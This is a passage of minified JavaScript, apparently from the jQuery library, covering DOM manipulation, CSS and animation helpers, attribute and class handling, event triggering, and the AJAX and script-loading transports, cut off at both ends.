e&&!tt.test(e)&&!Ve[(Xe.exec(e)||[\"\",\"\"])[1].toLowerCase()]){e=de.htmlPrefilter(e);try{for(;n<r;n++)t=this[n]||{},1===t.nodeType&&(de.cleanData(v(t,!1)),t.innerHTML=e);t=0}catch(e){}}t&&this.empty().append(e)},null,e,arguments.length)},replaceWith:function(){var e=[];return A(this,arguments,function(t){var n=this.parentNode;de.inArray(this,e)<0&&(de.cleanData(v(this)),n&&n.replaceChild(t,this))},e)}}),de.each({appendTo:\"append\",prependTo:\"prepend\",insertBefore:\"before\",insertAfter:\"after\",replaceAll:\"replaceWith\"},function(e,t){de.fn[e]=function(e){for(var n,r=[],o=de(e),i=o.length-1,a=0;a<=i;a++)n=a===i?this:this.clone(!0),de(o[a])[t](n),ie.apply(r,n.get());return this.pushStack(r)}});var it=/^margin/,at=new RegExp(\"^(\"+Me+\")(?!px)[a-z%]+$\",\"i\"),st=function(t){var n=t.ownerDocument.defaultView;return n&&n.opener||(n=e),n.getComputedStyle(t)};!function(){function t(){if(s){s.style.cssText=\"box-sizing:border-box;position:relative;display:block;margin:auto;border:1px;padding:1px;top:1%;width:50%\",s.innerHTML=\"\",Ye.appendChild(a);var t=e.getComputedStyle(s);n=\"1%\"!==t.top,i=\"2px\"===t.marginLeft,r=\"4px\"===t.width,s.style.marginRight=\"50%\",o=\"4px\"===t.marginRight,Ye.removeChild(a),s=null}}var n,r,o,i,a=te.createElement(\"div\"),s=te.createElement(\"div\");s.style&&(s.style.backgroundClip=\"content-box\",s.cloneNode(!0).style.backgroundClip=\"\",pe.clearCloneStyle=\"content-box\"===s.style.backgroundClip,a.style.cssText=\"border:0;width:8px;height:0;top:0;left:-9999px;padding:0;margin-top:1px;position:absolute\",a.appendChild(s),de.extend(pe,{pixelPosition:function(){return t(),n},boxSizingReliable:function(){return t(),r},pixelMarginRight:function(){return t(),o},reliableMarginLeft:function(){return t(),i}}))}();var ut=/^(none|table(?!-c[ea]).+)/,lt={position:\"absolute\",visibility:\"hidden\",display:\"block\"},ct={letterSpacing:\"0\",fontWeight:\"400\"},ft=[\"Webkit\",\"Moz\",\"ms\"],pt=te.createElement(\"div\").style;de.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=D(e,\"opacity\");return\"\"===n?\"1\":n}}}},cssNumber:{animationIterationCount:!0,columnCount:!0,fillOpacity:!0,flexGrow:!0,flexShrink:!0,fontWeight:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{float:\"cssFloat\"},style:function(e,t,n,r){if(e&&3!==e.nodeType&&8!==e.nodeType&&e.style){var o,i,a,s=de.camelCase(t),u=e.style;return t=de.cssProps[s]||(de.cssProps[s]=L(s)||s),a=de.cssHooks[t]||de.cssHooks[s],void 0===n?a&&\"get\"in a&&void 0!==(o=a.get(e,!1,r))?o:u[t]:(i=typeof n,\"string\"===i&&(o=$e.exec(n))&&o[1]&&(n=d(e,t,o),i=\"number\"),null!=n&&n===n&&(\"number\"===i&&(n+=o&&o[3]||(de.cssNumber[s]?\"\":\"px\")),pe.clearCloneStyle||\"\"!==n||0!==t.indexOf(\"background\")||(u[t]=\"inherit\"),a&&\"set\"in a&&void 0===(n=a.set(e,n,r))||(u[t]=n)),void 0)}},css:function(e,t,n,r){var o,i,a,s=de.camelCase(t);return t=de.cssProps[s]||(de.cssProps[s]=L(s)||s),a=de.cssHooks[t]||de.cssHooks[s],a&&\"get\"in a&&(o=a.get(e,!0,n)),void 0===o&&(o=D(e,t,r)),\"normal\"===o&&t in ct&&(o=ct[t]),\"\"===n||n?(i=parseFloat(o),n===!0||isFinite(i)?i||0:o):o}}),de.each([\"height\",\"width\"],function(e,t){de.cssHooks[t]={get:function(e,n,r){if(n)return!ut.test(de.css(e,\"display\"))||e.getClientRects().length&&e.getBoundingClientRect().width?P(e,t,r):Be(e,lt,function(){return P(e,t,r)})},set:function(e,n,r){var o,i=r&&st(e),a=r&&F(e,t,r,\"border-box\"===de.css(e,\"boxSizing\",!1,i),i);return a&&(o=$e.exec(n))&&\"px\"!==(o[3]||\"px\")&&(e.style[t]=n,n=de.css(e,t)),H(e,n,a)}}}),de.cssHooks.marginLeft=O(pe.reliableMarginLeft,function(e,t){if(t)return(parseFloat(D(e,\"marginLeft\"))||e.getBoundingClientRect().left-Be(e,{marginLeft:0},function(){return e.getBoundingClientRect().left}))+\"px\"}),de.each({margin:\"\",padding:\"\",border:\"Width\"},function(e,t){de.cssHooks[e+t]={expand:function(n){for(var r=0,o={},i=\"string\"==typeof n?n.split(\" \"):[n];r<4;r++)o[e+_e[r]+t]=i[r]||i[r-2]||i[0];return o}},it.test(e)||(de.cssHooks[e+t].set=H)}),de.fn.extend({css:function(e,t){return Le(this,function(e,t,n){var r,o,i={},a=0;if(de.isArray(t)){for(r=st(e),o=t.length;a<o;a++)i[t[a]]=de.css(e,t[a],!1,r);return i}return void 0!==n?de.style(e,t,n):de.css(e,t)},e,t,arguments.length>1)}}),de.Tween=I,I.prototype={constructor:I,init:function(e,t,n,r,o,i){this.elem=e,this.prop=n,this.easing=o||de.easing._default,this.options=t,this.start=this.now=this.cur(),this.end=r,this.unit=i||(de.cssNumber[n]?\"\":\"px\")},cur:function(){var e=I.propHooks[this.prop];return e&&e.get?e.get(this):I.propHooks._default.get(this)},run:function(e){var t,n=I.propHooks[this.prop];return this.options.duration?this.pos=t=de.easing[this.easing](e,this.options.duration*e,0,1,this.options.duration):this.pos=t=e,this.now=(this.end-this.start)*t+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),n&&n.set?n.set(this):I.propHooks._default.set(this),this}},I.prototype.init.prototype=I.prototype,I.propHooks={_default:{get:function(e){var t;return 1!==e.elem.nodeType||null!=e.elem[e.prop]&&null==e.elem.style[e.prop]?e.elem[e.prop]:(t=de.css(e.elem,e.prop,\"\"),t&&\"auto\"!==t?t:0)},set:function(e){de.fx.step[e.prop]?de.fx.step[e.prop](e):1!==e.elem.nodeType||null==e.elem.style[de.cssProps[e.prop]]&&!de.cssHooks[e.prop]?e.elem[e.prop]=e.now:de.style(e.elem,e.prop,e.now+e.unit)}}},I.propHooks.scrollTop=I.propHooks.scrollLeft={set:function(e){e.elem.nodeType&&e.elem.parentNode&&(e.elem[e.prop]=e.now)}},de.easing={linear:function(e){return e},swing:function(e){return.5-Math.cos(e*Math.PI)/2},_default:\"swing\"},de.fx=I.prototype.init,de.fx.step={};var ht,dt,gt=/^(?:toggle|show|hide)$/,mt=/queueHooks$/;de.Animation=de.extend(U,{tweeners:{\"*\":[function(e,t){var n=this.createTween(e,t);return d(n.elem,e,$e.exec(t),n),n}]},tweener:function(e,t){de.isFunction(e)?(t=e,e=[\"*\"]):e=e.match(qe);for(var n,r=0,o=e.length;r<o;r++)n=e[r],U.tweeners[n]=U.tweeners[n]||[],U.tweeners[n].unshift(t)},prefilters:[W],prefilter:function(e,t){t?U.prefilters.unshift(e):U.prefilters.push(e)}}),de.speed=function(e,t,n){var r=e&&\"object\"==typeof e?de.extend({},e):{complete:n||!n&&t||de.isFunction(e)&&e,duration:e,easing:n&&t||t&&!de.isFunction(t)&&t};return de.fx.off||te.hidden?r.duration=0:\"number\"!=typeof r.duration&&(r.duration in de.fx.speeds?r.duration=de.fx.speeds[r.duration]:r.duration=de.fx.speeds._default),null!=r.queue&&r.queue!==!0||(r.queue=\"fx\"),r.old=r.complete,r.complete=function(){de.isFunction(r.old)&&r.old.call(this),r.queue&&de.dequeue(this,r.queue)},r},de.fn.extend({fadeTo:function(e,t,n,r){return this.filter(We).css(\"opacity\",0).show().end().animate({opacity:t},e,n,r)},animate:function(e,t,n,r){\nvar o=de.isEmptyObject(e),i=de.speed(t,n,r),a=function(){var t=U(this,de.extend({},e),i);(o||Fe.get(this,\"finish\"))&&t.stop(!0)};return a.finish=a,o||i.queue===!1?this.each(a):this.queue(i.queue,a)},stop:function(e,t,n){var r=function(e){var t=e.stop;delete e.stop,t(n)};return\"string\"!=typeof e&&(n=t,t=e,e=void 0),t&&e!==!1&&this.queue(e||\"fx\",[]),this.each(function(){var t=!0,o=null!=e&&e+\"queueHooks\",i=de.timers,a=Fe.get(this);if(o)a[o]&&a[o].stop&&r(a[o]);else for(o in a)a[o]&&a[o].stop&&mt.test(o)&&r(a[o]);for(o=i.length;o--;)i[o].elem!==this||null!=e&&i[o].queue!==e||(i[o].anim.stop(n),t=!1,i.splice(o,1));!t&&n||de.dequeue(this,e)})},finish:function(e){return e!==!1&&(e=e||\"fx\"),this.each(function(){var t,n=Fe.get(this),r=n[e+\"queue\"],o=n[e+\"queueHooks\"],i=de.timers,a=r?r.length:0;for(n.finish=!0,de.queue(this,e,[]),o&&o.stop&&o.stop.call(this,!0),t=i.length;t--;)i[t].elem===this&&i[t].queue===e&&(i[t].anim.stop(!0),i.splice(t,1));for(t=0;t<a;t++)r[t]&&r[t].finish&&r[t].finish.call(this);delete n.finish})}}),de.each([\"toggle\",\"show\",\"hide\"],function(e,t){var n=de.fn[t];de.fn[t]=function(e,r,o){return null==e||\"boolean\"==typeof e?n.apply(this,arguments):this.animate($(t,!0),e,r,o)}}),de.each({slideDown:$(\"show\"),slideUp:$(\"hide\"),slideToggle:$(\"toggle\"),fadeIn:{opacity:\"show\"},fadeOut:{opacity:\"hide\"},fadeToggle:{opacity:\"toggle\"}},function(e,t){de.fn[e]=function(e,n,r){return this.animate(t,e,n,r)}}),de.timers=[],de.fx.tick=function(){var e,t=0,n=de.timers;for(ht=de.now();t<n.length;t++)e=n[t],e()||n[t]!==e||n.splice(t--,1);n.length||de.fx.stop(),ht=void 0},de.fx.timer=function(e){de.timers.push(e),e()?de.fx.start():de.timers.pop()},de.fx.interval=13,de.fx.start=function(){dt||(dt=e.requestAnimationFrame?e.requestAnimationFrame(R):e.setInterval(de.fx.tick,de.fx.interval))},de.fx.stop=function(){e.cancelAnimationFrame?e.cancelAnimationFrame(dt):e.clearInterval(dt),dt=null},de.fx.speeds={slow:600,fast:200,_default:400},de.fn.delay=function(t,n){return t=de.fx?de.fx.speeds[t]||t:t,n=n||\"fx\",this.queue(n,function(n,r){var o=e.setTimeout(n,t);r.stop=function(){e.clearTimeout(o)}})},function(){var e=te.createElement(\"input\"),t=te.createElement(\"select\"),n=t.appendChild(te.createElement(\"option\"));e.type=\"checkbox\",pe.checkOn=\"\"!==e.value,pe.optSelected=n.selected,e=te.createElement(\"input\"),e.value=\"t\",e.type=\"radio\",pe.radioValue=\"t\"===e.value}();var vt,yt=de.expr.attrHandle;de.fn.extend({attr:function(e,t){return Le(this,de.attr,e,t,arguments.length>1)},removeAttr:function(e){return this.each(function(){de.removeAttr(this,e)})}}),de.extend({attr:function(e,t,n){var r,o,i=e.nodeType;if(3!==i&&8!==i&&2!==i)return\"undefined\"==typeof e.getAttribute?de.prop(e,t,n):(1===i&&de.isXMLDoc(e)||(o=de.attrHooks[t.toLowerCase()]||(de.expr.match.bool.test(t)?vt:void 0)),void 0!==n?null===n?void de.removeAttr(e,t):o&&\"set\"in o&&void 0!==(r=o.set(e,n,t))?r:(e.setAttribute(t,n+\"\"),n):o&&\"get\"in o&&null!==(r=o.get(e,t))?r:(r=de.find.attr(e,t),null==r?void 0:r))},attrHooks:{type:{set:function(e,t){if(!pe.radioValue&&\"radio\"===t&&de.nodeName(e,\"input\")){var n=e.value;return e.setAttribute(\"type\",t),n&&(e.value=n),t}}}},removeAttr:function(e,t){var n,r=0,o=t&&t.match(qe);if(o&&1===e.nodeType)for(;n=o[r++];)e.removeAttribute(n)}}),vt={set:function(e,t,n){return t===!1?de.removeAttr(e,n):e.setAttribute(n,n),n}},de.each(de.expr.match.bool.source.match(/\\w+/g),function(e,t){var n=yt[t]||de.find.attr;yt[t]=function(e,t,r){var o,i,a=t.toLowerCase();return r||(i=yt[a],yt[a]=o,o=null!=n(e,t,r)?a:null,yt[a]=i),o}});var bt=/^(?:input|select|textarea|button)$/i,xt=/^(?:a|area)$/i;de.fn.extend({prop:function(e,t){return Le(this,de.prop,e,t,arguments.length>1)},removeProp:function(e){return this.each(function(){delete this[de.propFix[e]||e]})}}),de.extend({prop:function(e,t,n){var r,o,i=e.nodeType;if(3!==i&&8!==i&&2!==i)return 1===i&&de.isXMLDoc(e)||(t=de.propFix[t]||t,o=de.propHooks[t]),void 0!==n?o&&\"set\"in o&&void 0!==(r=o.set(e,n,t))?r:e[t]=n:o&&\"get\"in o&&null!==(r=o.get(e,t))?r:e[t]},propHooks:{tabIndex:{get:function(e){var t=de.find.attr(e,\"tabindex\");return t?parseInt(t,10):bt.test(e.nodeName)||xt.test(e.nodeName)&&e.href?0:-1}}},propFix:{for:\"htmlFor\",class:\"className\"}}),pe.optSelected||(de.propHooks.selected={get:function(e){var t=e.parentNode;return t&&t.parentNode&&t.parentNode.selectedIndex,null},set:function(e){var t=e.parentNode;t&&(t.selectedIndex,t.parentNode&&t.parentNode.selectedIndex)}}),de.each([\"tabIndex\",\"readOnly\",\"maxLength\",\"cellSpacing\",\"cellPadding\",\"rowSpan\",\"colSpan\",\"useMap\",\"frameBorder\",\"contentEditable\"],function(){de.propFix[this.toLowerCase()]=this}),de.fn.extend({addClass:function(e){var t,n,r,o,i,a,s,u=0;if(de.isFunction(e))return this.each(function(t){de(this).addClass(e.call(this,t,X(this)))});if(\"string\"==typeof e&&e)for(t=e.match(qe)||[];n=this[u++];)if(o=X(n),r=1===n.nodeType&&\" \"+z(o)+\" \"){for(a=0;i=t[a++];)r.indexOf(\" \"+i+\" \")<0&&(r+=i+\" \");s=z(r),o!==s&&n.setAttribute(\"class\",s)}return this},removeClass:function(e){var t,n,r,o,i,a,s,u=0;if(de.isFunction(e))return this.each(function(t){de(this).removeClass(e.call(this,t,X(this)))});if(!arguments.length)return this.attr(\"class\",\"\");if(\"string\"==typeof e&&e)for(t=e.match(qe)||[];n=this[u++];)if(o=X(n),r=1===n.nodeType&&\" \"+z(o)+\" \"){for(a=0;i=t[a++];)for(;r.indexOf(\" \"+i+\" \")>-1;)r=r.replace(\" \"+i+\" \",\" \");s=z(r),o!==s&&n.setAttribute(\"class\",s)}return this},toggleClass:function(e,t){var n=typeof e;return\"boolean\"==typeof t&&\"string\"===n?t?this.addClass(e):this.removeClass(e):de.isFunction(e)?this.each(function(n){de(this).toggleClass(e.call(this,n,X(this),t),t)}):this.each(function(){var t,r,o,i;if(\"string\"===n)for(r=0,o=de(this),i=e.match(qe)||[];t=i[r++];)o.hasClass(t)?o.removeClass(t):o.addClass(t);else void 0!==e&&\"boolean\"!==n||(t=X(this),t&&Fe.set(this,\"__className__\",t),this.setAttribute&&this.setAttribute(\"class\",t||e===!1?\"\":Fe.get(this,\"__className__\")||\"\"))})},hasClass:function(e){var t,n,r=0;for(t=\" \"+e+\" \";n=this[r++];)if(1===n.nodeType&&(\" \"+z(X(n))+\" \").indexOf(t)>-1)return!0;return!1}});var wt=/\\r/g;de.fn.extend({val:function(e){var t,n,r,o=this[0];{if(arguments.length)return r=de.isFunction(e),this.each(function(n){var o;1===this.nodeType&&(o=r?e.call(this,n,de(this).val()):e,null==o?o=\"\":\"number\"==typeof o?o+=\"\":de.isArray(o)&&(o=de.map(o,function(e){return null==e?\"\":e+\"\"})),t=de.valHooks[this.type]||de.valHooks[this.nodeName.toLowerCase()],t&&\"set\"in t&&void 0!==t.set(this,o,\"value\")||(this.value=o))});if(o)return t=de.valHooks[o.type]||de.valHooks[o.nodeName.toLowerCase()],t&&\"get\"in t&&void 0!==(n=t.get(o,\"value\"))?n:(n=o.value,\"string\"==typeof n?n.replace(wt,\"\"):null==n?\"\":n)}}}),de.extend({valHooks:{option:{get:function(e){var t=de.find.attr(e,\"value\");return null!=t?t:z(de.text(e))}},select:{get:function(e){var t,n,r,o=e.options,i=e.selectedIndex,a=\"select-one\"===e.type,s=a?null:[],u=a?i+1:o.length;for(r=i<0?u:a?i:0;r<u;r++)if(n=o[r],(n.selected||r===i)&&!n.disabled&&(!n.parentNode.disabled||!de.nodeName(n.parentNode,\"optgroup\"))){if(t=de(n).val(),a)return t;s.push(t)}return s},set:function(e,t){for(var n,r,o=e.options,i=de.makeArray(t),a=o.length;a--;)r=o[a],(r.selected=de.inArray(de.valHooks.option.get(r),i)>-1)&&(n=!0);return n||(e.selectedIndex=-1),i}}}}),de.each([\"radio\",\"checkbox\"],function(){de.valHooks[this]={set:function(e,t){if(de.isArray(t))return e.checked=de.inArray(de(e).val(),t)>-1}},pe.checkOn||(de.valHooks[this].get=function(e){return null===e.getAttribute(\"value\")?\"on\":e.value})});var Ct=/^(?:focusinfocus|focusoutblur)$/;de.extend(de.event,{trigger:function(t,n,r,o){var i,a,s,u,l,c,f,p=[r||te],h=le.call(t,\"type\")?t.type:t,d=le.call(t,\"namespace\")?t.namespace.split(\".\"):[];if(a=s=r=r||te,3!==r.nodeType&&8!==r.nodeType&&!Ct.test(h+de.event.triggered)&&(h.indexOf(\".\")>-1&&(d=h.split(\".\"),h=d.shift(),d.sort()),l=h.indexOf(\":\")<0&&\"on\"+h,t=t[de.expando]?t:new de.Event(h,\"object\"==typeof t&&t),t.isTrigger=o?2:3,t.namespace=d.join(\".\"),t.rnamespace=t.namespace?new RegExp(\"(^|\\\\.)\"+d.join(\"\\\\.(?:.*\\\\.|)\")+\"(\\\\.|$)\"):null,t.result=void 0,t.target||(t.target=r),n=null==n?[t]:de.makeArray(n,[t]),f=de.event.special[h]||{},o||!f.trigger||f.trigger.apply(r,n)!==!1)){if(!o&&!f.noBubble&&!de.isWindow(r)){for(u=f.delegateType||h,Ct.test(u+h)||(a=a.parentNode);a;a=a.parentNode)p.push(a),s=a;s===(r.ownerDocument||te)&&p.push(s.defaultView||s.parentWindow||e)}for(i=0;(a=p[i++])&&!t.isPropagationStopped();)t.type=i>1?u:f.bindType||h,c=(Fe.get(a,\"events\")||{})[t.type]&&Fe.get(a,\"handle\"),c&&c.apply(a,n),c=l&&a[l],c&&c.apply&&He(a)&&(t.result=c.apply(a,n),t.result===!1&&t.preventDefault());return t.type=h,o||t.isDefaultPrevented()||f._default&&f._default.apply(p.pop(),n)!==!1||!He(r)||l&&de.isFunction(r[h])&&!de.isWindow(r)&&(s=r[l],s&&(r[l]=null),de.event.triggered=h,r[h](),de.event.triggered=void 0,s&&(r[l]=s)),t.result}},simulate:function(e,t,n){var r=de.extend(new de.Event,n,{type:e,isSimulated:!0});de.event.trigger(r,null,t)}}),de.fn.extend({trigger:function(e,t){return this.each(function(){de.event.trigger(e,t,this)})},triggerHandler:function(e,t){var n=this[0];if(n)return de.event.trigger(e,t,n,!0)}}),de.each(\"blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu\".split(\" \"),function(e,t){de.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}),de.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),pe.focusin=\"onfocusin\"in e,pe.focusin||de.each({focus:\"focusin\",blur:\"focusout\"},function(e,t){var n=function(e){de.event.simulate(t,e.target,de.event.fix(e))};de.event.special[t]={setup:function(){var r=this.ownerDocument||this,o=Fe.access(r,t);o||r.addEventListener(e,n,!0),Fe.access(r,t,(o||0)+1)},teardown:function(){var r=this.ownerDocument||this,o=Fe.access(r,t)-1;o?Fe.access(r,t,o):(r.removeEventListener(e,n,!0),Fe.remove(r,t))}}});var Tt=e.location,kt=de.now(),jt=/\\?/;de.parseXML=function(t){var n;if(!t||\"string\"!=typeof t)return null;try{n=(new e.DOMParser).parseFromString(t,\"text/xml\")}catch(e){n=void 0}return n&&!n.getElementsByTagName(\"parsererror\").length||de.error(\"Invalid XML: \"+t),n};var Et=/\\[\\]$/,Nt=/\\r?\\n/g,St=/^(?:submit|button|image|reset|file)$/i,At=/^(?:input|select|textarea|keygen)/i;de.param=function(e,t){var n,r=[],o=function(e,t){var n=de.isFunction(t)?t():t;r[r.length]=encodeURIComponent(e)+\"=\"+encodeURIComponent(null==n?\"\":n)};if(de.isArray(e)||e.jquery&&!de.isPlainObject(e))de.each(e,function(){o(this.name,this.value)});else for(n in e)K(n,e[n],t,o);return r.join(\"&\")},de.fn.extend({serialize:function(){return de.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var e=de.prop(this,\"elements\");return e?de.makeArray(e):this}).filter(function(){var e=this.type;return this.name&&!de(this).is(\":disabled\")&&At.test(this.nodeName)&&!St.test(e)&&(this.checked||!ze.test(e))}).map(function(e,t){var n=de(this).val();return null==n?null:de.isArray(n)?de.map(n,function(e){return{name:t.name,value:e.replace(Nt,\"\\r\\n\")}}):{name:t.name,value:n.replace(Nt,\"\\r\\n\")}}).get()}});var qt=/%20/g,Dt=/#.*$/,Ot=/([?&])_=[^&]*/,Lt=/^(.*?):[ \\t]*([^\\r\\n]*)$/gm,Ht=/^(?:about|app|app-storage|.+-extension|file|res|widget):$/,Ft=/^(?:GET|HEAD)$/,Pt=/^\\/\\//,It={},Rt={},Mt=\"*/\".concat(\"*\"),$t=te.createElement(\"a\");$t.href=Tt.href,de.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:Tt.href,type:\"GET\",isLocal:Ht.test(Tt.protocol),global:!0,processData:!0,async:!0,contentType:\"application/x-www-form-urlencoded; charset=UTF-8\",accepts:{\"*\":Mt,text:\"text/plain\",html:\"text/html\",xml:\"application/xml, text/xml\",json:\"application/json, text/javascript\"},contents:{xml:/\\bxml\\b/,html:/\\bhtml/,json:/\\bjson\\b/},responseFields:{xml:\"responseXML\",text:\"responseText\",json:\"responseJSON\"},converters:{\"* text\":String,\"text html\":!0,\"text json\":JSON.parse,\"text xml\":de.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(e,t){return t?Y(Y(e,de.ajaxSettings),t):Y(de.ajaxSettings,e)},ajaxPrefilter:V(It),ajaxTransport:V(Rt),ajax:function(t,n){function r(t,n,r,s){var l,p,h,x,w,C=n;c||(c=!0,u&&e.clearTimeout(u),o=void 0,a=s||\"\",T.readyState=t>0?4:0,l=t>=200&&t<300||304===t,r&&(x=Q(d,T,r)),x=J(d,x,T,l),l?(d.ifModified&&(w=T.getResponseHeader(\"Last-Modified\"),w&&(de.lastModified[i]=w),w=T.getResponseHeader(\"etag\"),w&&(de.etag[i]=w)),204===t||\"HEAD\"===d.type?C=\"nocontent\":304===t?C=\"notmodified\":(C=x.state,p=x.data,h=x.error,l=!h)):(h=C,!t&&C||(C=\"error\",t<0&&(t=0))),T.status=t,T.statusText=(n||C)+\"\",l?v.resolveWith(g,[p,C,T]):v.rejectWith(g,[T,C,h]),T.statusCode(b),b=void 0,f&&m.trigger(l?\"ajaxSuccess\":\"ajaxError\",[T,d,l?p:h]),y.fireWith(g,[T,C]),f&&(m.trigger(\"ajaxComplete\",[T,d]),--de.active||de.event.trigger(\"ajaxStop\")))}\"object\"==typeof t&&(n=t,t=void 0),n=n||{};var o,i,a,s,u,l,c,f,p,h,d=de.ajaxSetup({},n),g=d.context||d,m=d.context&&(g.nodeType||g.jquery)?de(g):de.event,v=de.Deferred(),y=de.Callbacks(\"once memory\"),b=d.statusCode||{},x={},w={},C=\"canceled\",T={readyState:0,getResponseHeader:function(e){var t;if(c){if(!s)for(s={};t=Lt.exec(a);)s[t[1].toLowerCase()]=t[2];t=s[e.toLowerCase()]}return null==t?null:t},getAllResponseHeaders:function(){return c?a:null},setRequestHeader:function(e,t){return null==c&&(e=w[e.toLowerCase()]=w[e.toLowerCase()]||e,x[e]=t),this},overrideMimeType:function(e){return null==c&&(d.mimeType=e),this},statusCode:function(e){var t;if(e)if(c)T.always(e[T.status]);else for(t in e)b[t]=[b[t],e[t]];return this},abort:function(e){var t=e||C;return o&&o.abort(t),r(0,t),this}};if(v.promise(T),d.url=((t||d.url||Tt.href)+\"\").replace(Pt,Tt.protocol+\"//\"),d.type=n.method||n.type||d.method||d.type,d.dataTypes=(d.dataType||\"*\").toLowerCase().match(qe)||[\"\"],null==d.crossDomain){l=te.createElement(\"a\");try{l.href=d.url,l.href=l.href,d.crossDomain=$t.protocol+\"//\"+$t.host!=l.protocol+\"//\"+l.host}catch(e){d.crossDomain=!0}}if(d.data&&d.processData&&\"string\"!=typeof d.data&&(d.data=de.param(d.data,d.traditional)),G(It,d,n,T),c)return T;f=de.event&&d.global,f&&0===de.active++&&de.event.trigger(\"ajaxStart\"),d.type=d.type.toUpperCase(),d.hasContent=!Ft.test(d.type),i=d.url.replace(Dt,\"\"),d.hasContent?d.data&&d.processData&&0===(d.contentType||\"\").indexOf(\"application/x-www-form-urlencoded\")&&(d.data=d.data.replace(qt,\"+\")):(h=d.url.slice(i.length),d.data&&(i+=(jt.test(i)?\"&\":\"?\")+d.data,delete d.data),d.cache===!1&&(i=i.replace(Ot,\"$1\"),h=(jt.test(i)?\"&\":\"?\")+\"_=\"+kt++ +h),d.url=i+h),d.ifModified&&(de.lastModified[i]&&T.setRequestHeader(\"If-Modified-Since\",de.lastModified[i]),de.etag[i]&&T.setRequestHeader(\"If-None-Match\",de.etag[i])),(d.data&&d.hasContent&&d.contentType!==!1||n.contentType)&&T.setRequestHeader(\"Content-Type\",d.contentType),T.setRequestHeader(\"Accept\",d.dataTypes[0]&&d.accepts[d.dataTypes[0]]?d.accepts[d.dataTypes[0]]+(\"*\"!==d.dataTypes[0]?\", \"+Mt+\"; q=0.01\":\"\"):d.accepts[\"*\"]);for(p in d.headers)T.setRequestHeader(p,d.headers[p]);if(d.beforeSend&&(d.beforeSend.call(g,T,d)===!1||c))return T.abort();if(C=\"abort\",y.add(d.complete),T.done(d.success),T.fail(d.error),o=G(Rt,d,n,T)){if(T.readyState=1,f&&m.trigger(\"ajaxSend\",[T,d]),c)return T;d.async&&d.timeout>0&&(u=e.setTimeout(function(){T.abort(\"timeout\")},d.timeout));try{c=!1,o.send(x,r)}catch(e){if(c)throw e;r(-1,e)}}else r(-1,\"No Transport\");return T},getJSON:function(e,t,n){return de.get(e,t,n,\"json\")},getScript:function(e,t){return de.get(e,void 0,t,\"script\")}}),de.each([\"get\",\"post\"],function(e,t){de[t]=function(e,n,r,o){return de.isFunction(n)&&(o=o||r,r=n,n=void 0),de.ajax(de.extend({url:e,type:t,dataType:o,data:n,success:r},de.isPlainObject(e)&&e))}}),de._evalUrl=function(e){return de.ajax({url:e,type:\"GET\",dataType:\"script\",cache:!0,async:!1,global:!1,throws:!0})},de.fn.extend({wrapAll:function(e){var t;return this[0]&&(de.isFunction(e)&&(e=e.call(this[0])),t=de(e,this[0].ownerDocument).eq(0).clone(!0),this[0].parentNode&&t.insertBefore(this[0]),t.map(function(){for(var e=this;e.firstElementChild;)e=e.firstElementChild;return e}).append(this)),this},wrapInner:function(e){return de.isFunction(e)?this.each(function(t){de(this).wrapInner(e.call(this,t))}):this.each(function(){var t=de(this),n=t.contents();n.length?n.wrapAll(e):t.append(e)})},wrap:function(e){var t=de.isFunction(e);return this.each(function(n){de(this).wrapAll(t?e.call(this,n):e)})},unwrap:function(e){return this.parent(e).not(\"body\").each(function(){de(this).replaceWith(this.childNodes)}),this}}),de.expr.pseudos.hidden=function(e){return!de.expr.pseudos.visible(e)},de.expr.pseudos.visible=function(e){return!!(e.offsetWidth||e.offsetHeight||e.getClientRects().length)},de.ajaxSettings.xhr=function(){try{return new e.XMLHttpRequest}catch(e){}};var _t={0:200,1223:204},Wt=de.ajaxSettings.xhr();pe.cors=!!Wt&&\"withCredentials\"in Wt,pe.ajax=Wt=!!Wt,de.ajaxTransport(function(t){var n,r;if(pe.cors||Wt&&!t.crossDomain)return{send:function(o,i){var a,s=t.xhr();if(s.open(t.type,t.url,t.async,t.username,t.password),t.xhrFields)for(a in t.xhrFields)s[a]=t.xhrFields[a];t.mimeType&&s.overrideMimeType&&s.overrideMimeType(t.mimeType),t.crossDomain||o[\"X-Requested-With\"]||(o[\"X-Requested-With\"]=\"XMLHttpRequest\");for(a in o)s.setRequestHeader(a,o[a]);n=function(e){return function(){n&&(n=r=s.onload=s.onerror=s.onabort=s.onreadystatechange=null,\"abort\"===e?s.abort():\"error\"===e?\"number\"!=typeof s.status?i(0,\"error\"):i(s.status,s.statusText):i(_t[s.status]||s.status,s.statusText,\"text\"!==(s.responseType||\"text\")||\"string\"!=typeof s.responseText?{binary:s.response}:{text:s.responseText},s.getAllResponseHeaders()))}},s.onload=n(),r=s.onerror=n(\"error\"),void 0!==s.onabort?s.onabort=r:s.onreadystatechange=function(){4===s.readyState&&e.setTimeout(function(){n&&r()})},n=n(\"abort\");try{s.send(t.hasContent&&t.data||null)}catch(e){if(n)throw e}},abort:function(){n&&n()}}}),de.ajaxPrefilter(function(e){e.crossDomain&&(e.contents.script=!1)}),de.ajaxSetup({accepts:{script:\"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript\"},contents:{script:/\\b(?:java|ecma)script\\b/},converters:{\"text script\":function(e){return de.globalEval(e),e}}}),de.ajaxPrefilter(\"script\",function(e){void 0===e.cache&&(e.cache=!1),e.crossDomain&&(e.type=\"GET\")}),de.ajaxTransport(\"script\",function(e){if(e.crossDomain){var t,n;return{send:function(r,o){t=de(\"<script>\").prop({charset:e.scriptCharset,src:e.url}).on(\"load error\",n=function(e){t.remove(),n=null,e&&o(\"error\"===e.type?404:200,e.type)}),te.head.appendChild(t[0])},abort:function(){n&&n()}}}});var Bt=[],Ut=/(=)\\?(?=&|$)|\\?\\?/;de.ajaxSetup({jsonp:\"callback\",jsonpCallback:function(){var e=Bt.pop()||de.expando+\"_\"+kt++;return this[e]=!0,e}}),de.ajaxPrefilter(\"json jsonp\",function(t,n,r){var o,i,a,s=t.jsonp!==!1&&(Ut.test(t.url)?\"url\":\"string\"==typeof 